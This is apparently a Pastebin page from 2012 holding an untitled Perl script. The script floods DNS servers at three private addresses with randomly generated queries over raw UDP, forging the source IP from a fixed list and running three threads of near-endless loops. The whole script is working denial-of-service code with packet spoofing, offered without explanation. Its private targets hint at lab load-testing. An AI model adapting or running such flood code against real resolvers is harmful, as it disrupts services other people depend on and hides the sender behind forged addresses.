Advertisement
Guest User

Untitled

a guest
Jun 25th, 2012
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.45 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use Net::RawIP;
  5. use Net::DNS::Packet;
  6. use threads;
  7. use Time::HiRes qw(usleep);
  8.  
  9. my @suffix = ('.test.net', '.test.com', '.test.info');
  10. my @rrtypes = ('A', 'NS', 'CNAME', 'SOA', 'NULL', 'HINFO', 'MX', 'TXT', 'AAAA', 'SRV', 'NSEC', 'SPF');
  11. my @sips = ("10.0.0.1", "10.1.0.1", "10.2.0.1", "192.168.250.1");
  12. my $delay = 0.100;
  13. my $volume = 1;
  14.  
  15. my $p1 = async { flood("192.168.1.27"); };
  16. my $p2 = async { flood("192.168.1.28"); };
  17. my $p3 = async { flood("192.168.1.30"); };
  18.  
  19. my ($prefix,$domain,$rrtype,$dns,$payload,$source,$suffix);
  20.  
  21. sub flood {
  22.  my $port = '53';
  23.  my $host = $_[0];
  24.  
  25.  for(my $i=0;$i<1000000000;$i++) {
  26.   $prefix = join'', map +(0..9,'a'..'z','_','\\','!','*','&','%','.')[rand(43)], 1..rand(20)+2;
  27.   $domain = "." . join'', map +(0..9,'a'..'z','_','\\','!','*','&','%','.')[rand(43)], 1..rand(10)+2;
  28.   $suffix = "." . join'', map +(0..9,'a'..'z','_','\\','!','*','&','%','.')[rand(43)], 1..rand(4);
  29.   $domain = join('',$prefix,$suffix[rand @suffix]);
  30.   $rrtype = $rrtypes[rand @rrtypes];
  31.   $dns = Net::DNS::Packet->new($domain,$rrtype,"IN");
  32.  
  33.   $dns->header->id(int(rand(65000)));
  34.   $payload = $dns->data;
  35.  
  36.   #my $source = join'.', map int(rand(256)),1..4;
  37.   my $source = $sips[rand @sips];
  38.  
  39.   my $udp = new Net::RawIP({
  40.    ip=>{saddr=>$source, daddr=>$host},
  41.    udp=>{source=>$port, dest=>$port, data=>$payload}
  42.   });
  43.  
  44.   $udp->send($delay,$volume);
  45.   #usleep(200);
  46.   $i++;
  47.  }
  48. }
  49.  
  50. $p1->join();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement